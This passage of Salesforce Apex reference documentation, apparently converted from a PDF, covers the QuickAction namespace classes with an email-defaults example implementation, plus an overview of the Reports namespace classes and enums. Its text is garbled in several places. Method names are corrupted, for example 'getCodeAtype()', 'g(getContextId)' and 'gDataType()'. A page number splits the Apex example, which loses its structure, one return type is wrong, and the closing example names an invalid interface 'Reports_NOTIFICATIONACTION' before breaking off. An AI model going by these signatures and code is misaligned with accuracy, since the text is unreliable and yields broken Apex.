Type: String

**getWidth()**
If a custom action is created, returns the width in pixels of the action pane.

**Signature**

```java
public Integer getWidth()
```

**Return Value**
Type: Integer

---

**QuickActionDefaults Class**

Represents an abstract Apex class that provides the context for running the standard Email Action on Case Feed and the container of the Email Message fields for the action payload. You can override the target fields before the standard Email Action is rendered.

**Namespace**

`QuickAction`

**Usage**

[Note: You cannot extend this abstract class. You can use the getter methods when using it in the context of `QuickAction.QuickActionDefaultsHandler`. Salesforce provides a class that extends this class (See `QuickAction.SendEmailQuickActionDefaults`).]

---

**QuickActionDefaults Methods**

The following are methods for `QuickActionDefaults`.

---

**getActionName()**
Returns the name of the standard Email Action on Case Feed (Case.Email).

**getActionType()**
Returns the type of the standard Email Action on Case Feed (Email).

**getContextId()**
The ID of the context related to the standard Email Action on Case Feed (Case ID).
getTargetSObject()
The target object of the standard Email Action on Case Feed (EmailMessage).

getActionName()
Returns the name of the standard Email Action on Case Feed (Case.Email).

Signature
public String getActionName()

Return Value
Type: String

getCodeType()
Returns the type of the standard Email Action on Case Feed (Email).

Signature
public String getCodeAtype()

Return Value
Type: String

getContextId()
The ID of the context related to the standard Email Action on Case Feed (Case ID).

Signature
public Id getContextId()

Return Value
Type: Id

getTargetSObject()
The target object of the standard Email Action on Case Feed (EmailMessage).

Signature
public SObject getTargetSObject()

Return Value
Type: SObject
QuickActionDefaultsHandler Interface

The `QuickAction.QuickActionDefaultsHandler` interface lets you specify the default values for the standard Email Action on Case Feed. You can use this interface to specify the From address, CC address, BCC address, subject, and email body for the Email Action in Case Feed. You can use the interface to pre-populate these fields based on the context where the action is displayed, such as the case origin (for example, country) and subject.

Namespace

`QuickAction`

Usage

To specify default values for the standard Email Action on Case Feed, create a class that implements `QuickAction.QuickActionDefaultsHandler`. When you implement this interface, provide an empty parameterless constructor.

QuickActionDefaultsHandler Methods

The following are methods for `QuickActionDefaultsHandler`.

IN THIS SECTION:

- QuickActionDefaultsHandler Methods
- QuickActionDefaultsHandler Example Implementation

### onInitDefaults(actionDefaults)

Implement this method to provide default values for the standard Email Action in Case Feed.

#### Signature

```java
public void onInitDefaults(QuickAction.QuickActionDefaults[] actionDefaults)
```

#### Parameters

- `actionDefaults`  
  Type: `QuickAction.QuickActionDefaults[]`  
  This array contains only one item of type `QuickAction.SendEmailQuickActionDefaults`.

#### Return Value

Type: `void`
QuickActionDefaultsHandler Example Implementation

This is an example implementation of the QuickAction.QuickActionDefaultsHandler interface.

In this example, the onInitDefaults method checks whether the element passed in the array is for the standard Email Action on Case Feed. Then, it performs a query to retrieve the case that corresponds to the context ID. Next, it sets the value of the BCC address of the corresponding email message to a default value. The default value is based on the case reason. Finally, it sets the default values of the email template properties. The onInitDefaults method determines the default values based on two criteria: first, whether a reply action on an email message initiated the call to the method, and second, whether any previous emails attached to the case are associated with the call.

global class EmailPublisherLoader implements QuickAction.QuickActionDefaultsHandler {
    // Empty constructor
    global EmailPublisherLoader() {
    }

    // The main interface method
    global void onInitDefaults(QuickAction.QuickActionDefaults[] defaults) {
        QuickAction.SendEmailQuickActionDefaults sendEmailDefaults = null;

        // Check if the quick action is the standard Case Feed send email action
        for (Integer j = 0; j < defaults.size(); j++) {
            if (defaults.get(j) instanceof QuickAction.SendEmailQuickActionDefaults &&
                defaults.get(j).getTargetSObject().getSObjectType() ==
                EmailMessage.sObjectType &&
                defaults.get(j).getActionName().equals('Case.Email') &&
                defaults.get(j).getActionType().equals('Email')) {
                sendEmailDefaults =
                        (QuickAction.SendEmailQuickActionDefaults)defaults.get(j);
                break;
            }
        }

        if (sendEmailDefaults != null) {
            Case c = [SELECT Status, Reason FROM Case
                        WHERE Id=:sendEmailDefaults.getContextId()];

            EmailMessage emailMessage = (EmailMessage)sendEmailDefaults.getTargetSObject();

            // Set bcc address to make sure each email goes for audit
            emailMessage.BccAddress = getBccAddress(c.Reason);

            /*
            Set Template related fields
            When the In Reply To Id field is null we know the interface
            is called on page load. Here we check if
            there are any previous emails attached to the case and load
            the 'New_Case_Created' or 'Automatic_Response' template.
            When the In Reply To Id field is not null we know that
            the interface is called on click of reply/reply all
            of an email and we load the 'Default_reply_template' template
            */
            if (sendEmailDefaults.getInReplyToId() == null) {
                Integer emailCount = [SELECT count() FROM EmailMessage

1623
WHERE ParentId=:sendEmailDefaults.getContextId();

if (emailCount!= null && emailCount > 0) {
    sendEmailDefaults.setTemplateId(
        getTemplateIdHelper('Automatic_Response'));
} else {
    sendEmailDefaults.setTemplateId(
        getTemplateIdHelper('New_Case_Created'));
}

sendEmailDefaults.setInsertTemplateBody(false);
sendEmailDefaults.setIgnoreTemplateSubject(true);

private Id getTemplateIdHelper(String templateApiName) {
    Id templateId = null;
    try {
        templateId = [select id, name from EmailTemplate
            where developername = : templateApiName].id;
    } catch (Exception e) {
        system.debug('Unble to locate EmailTemplate using name: ' +
            templateApiName + ' refer to Setup | Communications Templates ' +
            templateApiName);
    }
    return templateId;
}

private String getBccAddress(String reason) {
    if (reason != null && reason.equals('Technical'))
        return 'support_technical@mycompany.com';
    else if (reason != null && reason.equals('Billing'))
        return 'support_billing@mycompany.com';
    else
        return 'support@mycompany.com';
}

QuickActionRequest Class

Use the QuickAction.QuickActionRequest class for providing action information for quick actions to be performed by QuickAction class methods. Action information includes the action name, context record ID, and record.

Namespace

QuickAction
Usage

For Apex saved using Salesforce API version 28.0, a parent ID is associated with the QuickActionRequest instead of the context ID. The constructor of this class takes no arguments:

```java
QuickAction.QuickActionRequest qar = new QuickAction.QuickActionRequest();
```

Example

In this sample, a new quick action is created to create a contact and assign a record to it.

```java
QuickAction.QuickActionRequest req = new QuickAction.QuickActionRequest();
// Some quick action name
req.quickActionName = Schema.Account.QuickAction.AccountCreateContact;

// Define a record for the quick action to create
Contact c = new Contact();
c.lastname = 'last name';
req.record = c;

// Provide the context ID (or parent ID). In this case, it is an Account record.
req.contextid = '001xx000003DGcO';

QuickAction.QuickActionResult res = QuickAction.performQuickAction(req);
```

SEE ALSO:

- QuickAction Class
- QuickActionRequest Constructors
- QuickActionRequest Methods

QuickActionRequest Constructors

The following are constructors for QuickActionRequest.

IN THIS SECTION:

- QuickActionRequest()

**QuickActionRequest()**

Creates a new instance of the `QuickAction.QuickActionRequest` class.

**Signature**

```java
public QuickActionRequest()
```
QuickActionRequest Methods

The following are methods for QuickActionRequest. All are instance methods.

IN THIS SECTION:

g(getContextId)
Returns this QuickAction’s context record ID.

g(getQuickActionName)
Returns this QuickAction’s name.

g(getRecord)
Returns the QuickAction’s associated record.

g(setContextId(contextId))
Sets this QuickAction’s context ID. Returned by g(getContextId).

g(setQuickActionName(name))
Sets this QuickAction’s name. Returned by g(getQuickActionName).

g(setRecord(record))
Sets a record for this QuickAction. Returned by g(getRecord).

**getContextId()**

Returns this QuickAction’s context record ID.

**Signature**

```
public Id getContextId()
```

**Return Value**

Type: ID

**getQuickActionName()**

Returns this QuickAction’s name.

**Signature**

```
public String getQuickActionName()
```

**Return Value**

Type: String

**getRecord()**

Returns the QuickAction’s associated record.
Signature
public SObject getRecord()

Return Value
Type: sObject

setContextId(contextId)
Sets this QuickAction’s context ID. Returned by getContextId.

Signature
public Void setContextId(Id contextId)

Parameters
contextId
Type: ID

Return Value
Type: Void

Usage
For Apex saved using SalesforceAPI version 28.0, sets this QuickAction’s parent ID and is returned by getParentId.

setQuickActionName(name)
Sets this QuickAction’s name. Returned by getQuickActionName.

Signature
public Void setQuickActionName(String name)

Parameters
name
Type: String

Return Value
Type: Void

setRecord(record)
Sets a record for this QuickAction. Returned by getRecord.
public Void setRecord(SObject record)

Parameters
record
Type: SObject

Return Value
Type: Void

QuickActionResult Class
After you initiate a quick action with the QuickAction class, use the QuickActionResult class for processing action results.

Namespace
QuickAction

SEE ALSO:
QuickAction Class

QuickActionResult Methods
The following are methods for QuickActionResult. All are instance methods.

IN THIS SECTION:
getErrors()
If an error occurs, an array of one or more database error objects, along with error codes and descriptions, is returned.

getIds()
The IDs of the QuickActions being processed.

isCreated()
Returns true if the action is created; otherwise, false.

isSuccess()
Returns true if the action completes successfully; otherwise, false.

getErrors()
If an error occurs, an array of one or more database error objects, along with error codes and descriptions, is returned.

Signature
public List<Database.Error> getErrors()
Return Value
Type: List<Database.Error>

getIds()
The IDs of the QuickActions being processed.

Signature
public List<Id> getIds()

Return Value
Type: List<Id>

isCreated()
Returns true if the action is created; otherwise, false.

Signature
public Boolean isCreated()

Return Value
Type: Boolean

isSuccess()
Returns true if the action completes successfully; otherwise, false.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

SendEmailQuickActionDefaults Class
Represents an Apex class that provides: the From address list; the original email’s email message ID, provided that the reply action was invoked on the email message feed item; and methods to specify related settings on templates. You can override these fields before the standard Email Action is rendered.

Namespace
QuickAction
Usage

Note: You cannot instantiate this class. One can use the getters/setters when using it in the context of QuickAction.QuickActionDefaultsHandler.

IN THIS SECTION:

SendEmailQuickActionDefaults Methods

SendEmailQuickActionDefaults Methods

The following are methods for SendEmailQuickActionDefaults.

IN THIS SECTION:

getFromAddressList()

Returns a list of email addresses that are available in the From: address drop-down menu for the standard Email Action.

getInReplyToId()

Returns the email message ID of the email to which the reply/reply all action has been invoked.

setIgnoreTemplateSubject(useOriginalSubject)

Specifies whether the template subject should be ignored (true), thus using the original subject, or whether the template subject should replace the original subject (false).

setInsertTemplateBody(keepOriginalBodyContent)

Specifies whether the template body should be inserted above the original body content (true) or whether it should replace the entire content with the template body (false).

setTemplateId(templateId)

Sets the email template ID to load into the email body.

getFromAddressList()

Returns a list of email addresses that are available in the From: address drop-down menu for the standard Email Action.

Signature

public List<String> getFromAddressList()

Return Value

Type: List<String>

getInReplyToId()

Returns the email message ID of the email to which the reply/reply all action has been invoked.

Signature

public Id getInReplyToId()
Return Value
Type: Id

setIgnoreTemplateSubject (useOriginalSubject)
Specifies whether the template subject should be ignored (true), thus using the original subject, or whether the template subject should replace the original subject (false).

Signature
public void setIgnoreTemplateSubject(Boolean useOriginalSubject)

Parameters
useOriginalSubject
Type: Boolean

Return Value
Type: void

setInsertTemplateBody (keepOriginalBodyContent)
Specifies whether the template body should be inserted above the original body content (true) or whether it should replace the entire content with the template body (false).

Signature
public void setInsertTemplateBody(Boolean keepOriginalBodyContent)

Parameters
keepOriginalBodyContent
Type: Boolean

Return Value
Type: void

setTemplateId (templateId)
Sets the email template ID to load into the email body.

Signature
public void setTemplateId(Id templateId)
Parameters

`templateId`

Type: Id

The template ID.

Return Value

Type: void

Reports Namespace

The `Reports` namespace provides classes for accessing the same data as is available in the Salesforce Reports and Dashboards REST API.

The following are the classes in the `Reports` namespace.

IN THIS SECTION:

- **AggregateColumn Class**
  Contains methods for describing summary fields such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Includes name, label, data type, and grouping context.

- **ColumnDataType Enum**
  The `Reports.ColumnDataType` enum describes the type of data in a column. It is returned by the `getDataType` method.

- **ColumnSortOrder Enum**
  The `Reports.ColumnSortOrder` enum describes the order that the grouping column uses to sort data.

- **DateGranularity Enum**
  The `Reports.DateGranularity` enum describes the date interval that is used for grouping.

- **DetailColumn Class**
  Contains methods for describing fields that contain detailed data. Detailed data fields are also listed in the report metadata.

- **Dimension Class**
  Contains information for each row or column grouping.

- **EvaluatedCondition Class**
  Contains the individual components of an evaluated condition for a report notification, such as the aggregate name and label, the operator, and the value that the aggregate is compared to.

- **EvaluatedConditionOperator Enum**
  The `Reports.EvaluatedConditionOperator` enum describes the type of operator used to compare an aggregate to a value. It is returned by the `getOperator` method.

- **FilterOperator Class**
  Contains information about a filter operator, such as display name and API name.

- **FilterValue Class**
  Contains information about a filter value, such as the display name and API name.

- **GroupingColumn Class**
  Contains methods for describing fields that are used for column grouping.
GroupingInfo Class
Contains methods for describing fields that are used for grouping.

GroupingValue Class
Contains grouping values for a row or column, including the key, label, and value.

NotificationAction Interface
Implement this interface to trigger a custom Apex class when the conditions for a report notification are met.

NotificationActionContext Class
Contains information about the report instance and condition threshold for a report notification.

ReportCurrency Class
Contains information about a currency value, including the amount and currency code.

ReportDataCell Class
Contains the data for a cell in the report, including the display label and value.

ReportDescribeResult Class
Contains report, report type, and extended metadata for a tabular, summary, or matrix report.

ReportDetailRow Class
Contains data cells for a detail row of a report.

ReportDivisionInfo Class
Contains information about the divisions that can be used to filter a report.

ReportExtendedMetadata Class
Contains report extended metadata for a tabular, summary, or matrix report.

ReportFact Class
Contains the fact map for the report, which represents the report’s data values.

ReportFactWithDetails Class
Contains the detailed fact map for the report, which represents the report’s data values.

ReportFilter Class
Contains information about a report filter, including column, operator, and value.

ReportFormat Enum
Contains the possible report format types.

ReportInstance Class
Returns an instance of a report that was run asynchronously. Retrieves the results for that instance.

ReportManager Class
Runs a report synchronously or asynchronously and with or without details.

ReportMetadata Class
Contains report metadata for a tabular, summary, or matrix report.

ReportResults Class
Contains the results of running a report.

ReportScopeInfo Class
Contains information about possible scope values that you can choose. Scope values depend on the report type. For example, you can set the scope for opportunity reports to All opportunities, My team’s opportunities, or My opportunities.
ReportScopeValue Class
Contains information about a possible scope value. Scope values depend on the report type. For example, you can set the scope for opportunity reports to All opportunities, My team’s opportunities, or My opportunities.

ReportType Class
Contains the unique API name and display name for the report type.

ReportTypeColumn Class
Contains detailed report type metadata about a field, including data type, display name, and filter values.

ReportTypeColumnCategory Class
Contains category information for all fields in the report type.

ReportTypeMetadata Class
Contains report type metadata, which gives you information about the fields that are available in each section of the report type, plus filter information for those fields.

SortColumn Class
Contains information about the sort column used in the report.

StandardDateFilter Class
Contains information about standard date filter available in the report—for example, the API name, start date, and end date of the standard date filter duration as well as the API name of the date field on which the filter is placed.

StandardDateFilterDuration Class
Contains information about each standard date filter—also referred to as a relative date filter. It contains the API name and display label of the standard date filter duration as well as the start and end dates.

StandardDateFilterDurationGroup Class
Contains information about the standard date filter groupings, such as the grouping display label and all standard date filters that fall under the grouping. Groupings include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week, Fiscal Year, Fiscal Quarter, Day, and custom values based on user-defined date ranges.

StandardFilter Class
Contains information about the standard filter defined in the report, such as the filter field API name and filter value.

StandardFilterInfo Class
Is an abstract base class for an object that provides standard filter information.

StandardFilterInfoPicklist Class
Contains information about the standard filter picklist, such as the display name and type of the filter field, the default picklist value, and a list of all possible picklist values.

StandardFilterType Enum
The StandardFilterType enum describes the type of standard filters in a report. The getType() method returns a Reports.StandardFilterType enum value.

SummaryValue Class
Contains summary data for a cell of the report.

ThresholdInformation Class
Contains a list of evaluated conditions for a report notification.

Reports Exceptions
The Reports namespace contains exception classes.
AggregateColumn Class

Contains methods for describing summary fields such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Includes name, label, data type, and grouping context.

Namespace

Reports

AggregateColumn Methods

The following are methods for AggregateColumn. All are instance methods.

IN THIS SECTION:

getName()  
Returns the unique API name of the summary field.

getLabel()  
Returns the localized display name for the summarized or custom summary formula field.

dataType()  
Returns the data type of the summarized or custom summary formula field.

getAcrossGroupingContext()  
Returns the column grouping in the report where the summary field is displayed.

getDownGroupingContext()  
Returns the row grouping in the report where the summary field is displayed.

getName()  
Returns the unique API name of the summary field.

Syntax

public String getName()

Return Value

Type: String

g.getLabel()  
Returns the localized display name for the summarized or custom summary formula field.

Syntax

public String getLabel()
Return Value
Type: String

getDataType() 
Returns the data type of the summarized or custom summary formula field.

Syntax
public Reports.ColumnDataType getDataType()

Return Value
Type: Reports.ColumnDataType

getAcrossGroupingContext() 
Returns the column grouping in the report where the summary field is displayed.

Syntax
public String getAcrossGroupingContext()

Return Value
Type: String

getDownGroupingContext() 
Returns the row grouping in the report where the summary field is displayed.

Syntax
public String getDownGroupingContext()

Return Value
Type: String

ColumnDataType Enum
The Reports.ColumnDataType enum describes the type of data in a column. It is returned by the getDataType method.

Namespace
Reports
Enum Values

The following are the values of the Reports.ColumnDataType enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>BOOLEAN_DATA</td>
<td>Boolean (true or false) values</td>
</tr>
<tr>
<td>COMBOBOX_DATA</td>
<td>Comboboxes, which provide a set of enumerated values and enable the user to specify a value that is not in the list</td>
</tr>
<tr>
<td>CURRENCY_DATA</td>
<td>Currency values</td>
</tr>
<tr>
<td>DATETIME_DATA</td>
<td>DateTime values</td>
</tr>
<tr>
<td>DATE_DATA</td>
<td>Date values</td>
</tr>
<tr>
<td>DOUBLE_DATA</td>
<td>Double values</td>
</tr>
<tr>
<td>EMAIL_DATA</td>
<td>Email addresses</td>
</tr>
<tr>
<td>ID_DATA</td>
<td>An object’s Salesforce ID</td>
</tr>
<tr>
<td>INT_DATA</td>
<td>Integer values</td>
</tr>
<tr>
<td>MULTIPICKLIST_DATA</td>
<td>Multi-select picklists, which provide a set of enumerated values from which multiple values can be selected</td>
</tr>
<tr>
<td>PERCENT_DATA</td>
<td>Percent values</td>
</tr>
<tr>
<td>PHONE_DATA</td>
<td>Phone numbers. Values can include alphabetic characters. Client applications are responsible for phone number formatting.</td>
</tr>
<tr>
<td>PICKLIST_DATA</td>
<td>Single-select picklists, which provide a set of enumerated values from which only one value can be selected</td>
</tr>
<tr>
<td>REFERENCE_DATA</td>
<td>Cross-references to another object, analogous to a foreign key field</td>
</tr>
<tr>
<td>STRING_DATA</td>
<td>String values</td>
</tr>
<tr>
<td>TEXTAREA_DATA</td>
<td>String values that are displayed as multiline text fields</td>
</tr>
<tr>
<td>TIME_DATA</td>
<td>Time values</td>
</tr>
<tr>
<td>URL_DATA</td>
<td>URL values that are displayed as hyperlinks</td>
</tr>
</tbody>
</table>

ColumnSortOrder Enum

The Reports.ColumnSortOrder enum describes the order that the grouping column uses to sort data.

Namespace

Reports
Usage
The `GroupingInfo.getColumnSortOrder()` method returns a `Reports.ColumnSortOrder` enum value. The `GroupingInfo.setColumnSortOrder()` method takes the enum value as an argument.

Enum Values
The following are the values of the `Reports.ColumnSortOrder` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ASCENDING</td>
<td>Sort data in ascending order (A–Z)</td>
</tr>
<tr>
<td>DESCENDING</td>
<td>Sort data in descending order (Z–A)</td>
</tr>
</tbody>
</table>

DateGranularity Enum
The `Reports.DateGranularity` enum describes the date interval that is used for grouping.

Namespace
`Reports`

Usage
The `GroupingInfo.getDateGranularity()` method returns a `Reports.DateGranularity` enum value. The `GroupingInfo.setDateGranularity()` method takes the enum value as an argument.

Enum Values
The following are the values of the `Reports.DateGranularity` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>DAY</td>
<td>The day of the week (Monday–Sunday)</td>
</tr>
<tr>
<td>DAY_IN_MONTH</td>
<td>The day of the month (1–31)</td>
</tr>
<tr>
<td>FISCAL_PERIOD</td>
<td>The fiscal period</td>
</tr>
<tr>
<td>FISCAL_QUARTER</td>
<td>The fiscal quarter</td>
</tr>
<tr>
<td>FISCAL_WEEK</td>
<td>The fiscal week</td>
</tr>
<tr>
<td>FISCALYEAR</td>
<td>The fiscal year</td>
</tr>
<tr>
<td>MONTH</td>
<td>The month (January–December)</td>
</tr>
<tr>
<td>MONTH_IN_YEAR</td>
<td>The month number (1–12)</td>
</tr>
<tr>
<td>NONE</td>
<td>No date grouping</td>
</tr>
<tr>
<td>QUARTER</td>
<td>The quarter number (1–4)</td>
</tr>
</tbody>
</table>
### DetailColumn Class

Contains methods for describing fields that contain detailed data. Detailed data fields are also listed in the report metadata.

### Namespace

**Reports**

### DetailColumn Instance Methods

The following are instance methods for `DetailColumn`. All are instance methods.

#### IN THIS SECTION:

- `getName()`
- `getLabel()`
- `getType()`

#### `getName()`

Returns the unique API name of the detail column field.

**Syntax**

```java
public String getName()
```

**Return Value**

Type: `String`

#### `getLabel()`

Returns the localized display name of a standard field, the ID of a custom field, or the API name of a bucket field that has detailed data.

**Syntax**

```java
public String getLabel()
```

**Return Value**

Type: `String`
Return Value
Type: String

gDataType()
Returns the data type of a detail column field.

Syntax
public Reports.ColumnDataType getDataType()

Return Value
Type: Reports.ColumnDataType

Dimension Class
Contains information for each row or column grouping.

Namespace
Reports

Dimension Methods
The following are methods for Dimension. All are instance methods.

IN THIS SECTION:
  getGroupings()
  Returns information for each row or column grouping as a list.

getGroupings()
Returns information for each row or column grouping as a list.

Syntax
public List<Reports.GroupingValue> getGroupings()

Return Value
Type: List<Reports.GroupingValue>

EvaluatedCondition Class
Contains the individual components of an evaluated condition for a report notification, such as the aggregate name and label, the operator, and the value that the aggregate is compared to.
Namespace

Reports

IN THIS SECTION:
  EvaluatedCondition Constructors
  EvaluatedCondition Methods

EvaluatedCondition Constructors

The following are constructors for EvaluatedCondition.

IN THIS SECTION:
  EvaluatedCondition(aggregateName, aggregateLabel, compareToValue, aggregateValue, operator)
  Creates a new instance of the Reports.EvaluatedConditions class using the specified parameters.

EvaluatedCondition(aggregateName, aggregateLabel, compareToValue, aggregateValue, operator)

Creates a new instance of the Reports.EvaluatedConditions class using the specified parameters.

Signature

public EvaluatedCondition(String aggregateName, String aggregateLabel, Double compareToValue, Double aggregateValue, Reports.EvaluatedConditionOperator operator)

Parameters

aggregateName
  Type: String
  The unique API name of the aggregate.

aggregateLabel
  Type: String
  The localized display name of the aggregate.

compareToValue
  Type: Double
  The value that the aggregate is compared to in the condition.

aggregateValue
  Type: Double
  The actual value of the aggregate when the report is run.

operator
  Type: Reports.EvaluatedConditionOperator
  The operator used in the condition.
EvaluatedCondition Methods

The following are methods for EvaluatedCondition.

IN THIS SECTION:

getAggregateLabel()
Returns the localized display name of the aggregate.

getAggregateName()
Returns the unique API name of the aggregate.

getCompareTo()
Returns the value that the aggregate is compared to in the condition.

getOperator()
Returns the operator used in the condition.

g getValue()
Returns the actual value of the aggregate when the report is run.

getAggregateLabel()

Returns the localized display name of the aggregate.

Signature

public String getAggregateLabel()

Return Value

Type: String

getAggregateName()

Returns the unique API name of the aggregate.

Signature

public String getAggregateName()

Return Value

Type: String

getCompareTo()

Returns the value that the aggregate is compared to in the condition.

Signature

public Double getCompareTo()
Return Value
Type: Double

getOperator()
Returns the operator used in the condition.

Signature
public Reports.EvaluatedConditionOperator getOperator()

Return Value
Type: Reports.EvaluatedConditionOperator

getValue()
Returns the actual value of the aggregate when the report is run.

Signature
public Double getValue()

Return Value
Type: Double

EvaluatedConditionOperator Enum
The Reports.EvaluatedConditionOperator enum describes the type of operator used to compare an aggregate to a value. It is returned by the getOperator method.

Namespace
Reports

Enum Values
The following are the values of the Reports.EvaluatedConditionOperator enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>EQUAL</td>
<td>Equality operator.</td>
</tr>
<tr>
<td>GREATER_THAN</td>
<td>Greater than operator.</td>
</tr>
<tr>
<td>GREATER_THAN_EQUAL</td>
<td>Greater than or equal to operator.</td>
</tr>
<tr>
<td>LESS_THAN</td>
<td>Less than operator.</td>
</tr>
<tr>
<td>LESS_THAN_EQUAL</td>
<td>Less than or equal to operator.</td>
</tr>
<tr>
<td>Value</td>
<td>Description</td>
</tr>
<tr>
<td>--------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>NOT_EQUAL</td>
<td>Inequality operator.</td>
</tr>
</tbody>
</table>

**FilterOperator Class**

Contains information about a filter operator, such as display name and API name.

**Namespace**

*Reports*

**FilterOperator Methods**

The following are methods for `FilterOperator`. All are instance methods.

**IN THIS SECTION:**

- `getLabel()`
  - Returns the localized display name of the filter operator. Possible values for this name are restricted based on the data type of the column being filtered.

- `getName()`
  - Returns the unique API name of the filter operator. Possible values for this name are restricted based on the data type of the column being filtered. For example, `multipicklist` fields can use the following filter operators: “equals,” “not equal to,” “includes,” and “excludes.” Bucket fields are considered to be of the `String` type.

**getLabel()**

Returns the localized display name of the filter operator. Possible values for this name are restricted based on the data type of the column being filtered.

**Syntax**

```java
public String getLabel()
```

**Return Value**

Type: `String`

**getName()**

Returns the unique API name of the filter operator. Possible values for this name are restricted based on the data type of the column being filtered. For example, `multipicklist` fields can use the following filter operators: “equals,” “not equal to,” “includes,” and “excludes.” Bucket fields are considered to be of the `String` type.

**Syntax**

```java
public String getName()
```
Return Value
Type: String

FilterValue Class
Contains information about a filter value, such as the display name and API name.

Namespace
Reports

FilterValue Methods
The following are methods for FilterValue. All are instance methods.

IN THIS SECTION:
   getLabel()  
   Returns the localized display name of the filter value. Possible values for this name are restricted based on the data type of the column being filtered.
   getName()  
   Returns the unique API name of the filter value. Possible values for this name are restricted based on the data type of the column being filtered.

getLabel()  
Returns the localized display name of the filter value. Possible values for this name are restricted based on the data type of the column being filtered.

Syntax
public String getLabel()  

Return Value
Type: String

getName()  
Returns the unique API name of the filter value. Possible values for this name are restricted based on the data type of the column being filtered.

Syntax
public String getName()  

Return Value
Type: String
GroupingColumn Class
Contains methods for describing fields that are used for column grouping.

Namespace
Reports
The GroupingColumn class provides basic information about column grouping fields. The GroupingInfo class includes additional methods for describing and updating grouping fields.

GroupingColumn Methods
The following are methods for GroupingColumn. All are instance methods.

IN THIS SECTION:
 getName()  
 Returns the unique API name of the field or bucket field that is used for column grouping.
 getLabel()  
 Returns the localized display name of the field that is used for column grouping.
 getType()  
 Returns the data type of the field that is used for column grouping.
 getGroupingLevel()  
 Returns the level of grouping for the column.

getName()
Returns the unique API name of the field or bucket field that is used for column grouping.

Syntax
public String getName()

Return Value
Type: String

getLabel()
Returns the localized display name of the field that is used for column grouping.

Syntax
public String getLabel()

Return Value
Type: String
**getDataType()**
Returns the data type of the field that is used for column grouping.

**Syntax**
```java
public Reports.ColumnDataType getDataType()
```

**Return Value**
Type: Reports.ColumnDataType

**getGroupingLevel()**
Returns the level of grouping for the column.

**Syntax**
```java
public Integer getGroupingLevel()
```

**Return Value**
Type: Integer

**Usage**
- In a summary report, 0, 1, or 2 indicates grouping at the first, second, or third row level.
- In a matrix report, 0 or 1 indicates grouping at the first or second row or column level.

**GroupingInfo Class**
Contains methods for describing fields that are used for grouping.

**Namespace**
Reports

**GroupingInfo Methods**
The following are methods for GroupingInfo. All are instance methods.

**IN THIS SECTION:**
- getName()  
  Returns the unique API name of the field or bucket field that is used for row or column grouping.
- getSortOrder()  
  Returns the order that is used to sort data in a row or column grouping (ASCENDING or DESCENDING).
- getDateGranularity()  
  Returns the date interval that is used for row or column grouping.
**getSortAggregate()**

Returns the summary field that is used to sort data within a grouping in a summary report. The value is null when data within a grouping is not sorted by a summary field.

**getName()**

Returns the unique API name of the field or bucket field that is used for row or column grouping.

**Syntax**

```java
public String getName()
```

**Return Value**

Type: String

**getSortOrder()**

Returns the order that is used to sort data in a row or column grouping (ASCENDING or DESCENDING).

**Syntax**

```java
public Reports.ColumnSortOrder getSortOrder()
```

**Return Value**

Type: Reports.ColumnSortOrder

**getDateGranularity()**

Returns the date interval that is used for row or column grouping.

**Syntax**

```java
public Reports.DateGranularity getDateGranularity()
```

**Return Value**

Type: Reports.DateGranularity

**getSortAggregate()**

Returns the summary field that is used to sort data within a grouping in a summary report. The value is null when data within a grouping is not sorted by a summary field.

**Syntax**

```java
public String getSortAggregate()
```
Return Value
Type: String

GroupingValue Class
Contains grouping values for a row or column, including the key, label, and value.

Namespace
Reports

GroupingValue Methods
The following are methods for GroupingValue. All are instance methods.

IN THIS SECTION:
getGroupings()
Returns a list of second- or third-level row or column groupings. If there are none, the value is an empty array.
getKey()
Returns the unique identifier for a row or column grouping. The identifier is used by the fact map to specify data values within each grouping.
getLabel()
Returns the localized display name of a row or column grouping. For date and time fields, the label is the localized date or time.
getValue()
Returns the value of the field that is used as a row or column grouping.

getGroupings() (method)
Returns a list of second- or third-level row or column groupings. If there are none, the value is an empty array.

Syntax
public LIST<Reports.GroupingValue> getGroupings()
Return Value
Type: String

`getLabel()`
Returns the localized display name of a row or column grouping. For date and time fields, the label is the localized date or time.

Syntax
`public String getLabel()`

Return Value
Type: String

`getValue()`
Returns the value of the field that is used as a row or column grouping.

Syntax
`public Object getValue()`

Usage
The value depends on the field's data type.

- Currency fields:
  - `amount`: Of type currency. A data cell's value.
  - `currency`: Of type picklist. The ISO 4217 currency code, if available; for example, USD for US dollars or CNY for Chinese yuan. (If the grouping is on the converted currency, this value is the currency code for the report and not for the record.)

- Picklist fields: API name. For example, a custom picklist field—`Type of Business` with values 1, 2, and 3 for Consulting, Services, and Add-On Business respectively—has 1, 2, or 3 as the grouping value.

- ID fields: API name.
- Record type fields: API name.
- Date and time fields: Date or time in ISO-8601 format.
- Lookup fields: Unique API name. For example, for the `Opportunity Owner` lookup field, the ID of each opportunity owner's Chatter profile page can be a grouping value.

**NotificationAction Interface**

Implement this interface to trigger a custom Apex class when the conditions for a report notification are met.
Namespace

Reports

Usage

Report notifications for reports that users have subscribed to can trigger a custom Apex class, which must implement the Reports.NotificationAction interface. The execute method in this interface receives a NotificationActionContext object as a parameter, which contains information about the report instance and the conditions that must be met for a notification to be triggered.

IN THIS SECTION:

    NotificationAction Methods
    NotificationAction Example Implementation

NotificationAction Methods

The following are methods for NotificationAction.

IN THIS SECTION:

    execute(context)

    Executes the custom Apex action specified in the context parameter of the context object, NotificationActionContext. The object contains information about the report instance and the conditions that must be met for a notification to be triggered. The method executes whenever the specified conditions are met.

execute(context)

Executes the custom Apex action specified in the context parameter of the context object, NotificationActionContext. The object contains information about the report instance and the conditions that must be met for a notification to be triggered. The method executes whenever the specified conditions are met.

Signature

    public void execute(Reports.NotificationActionContext context)

Parameters

    context
        Type: Reports.NotificationActionContext

Return Value

    Type: Void
**NotificationAction Example Implementation**

This is an example implementation of the `Reports.NotificationAction` interface.

```java
public class AlertOwners implements Reports_NOTIFICATIONACTION {
    public void execute(Reports.NotificationActionContext context) {
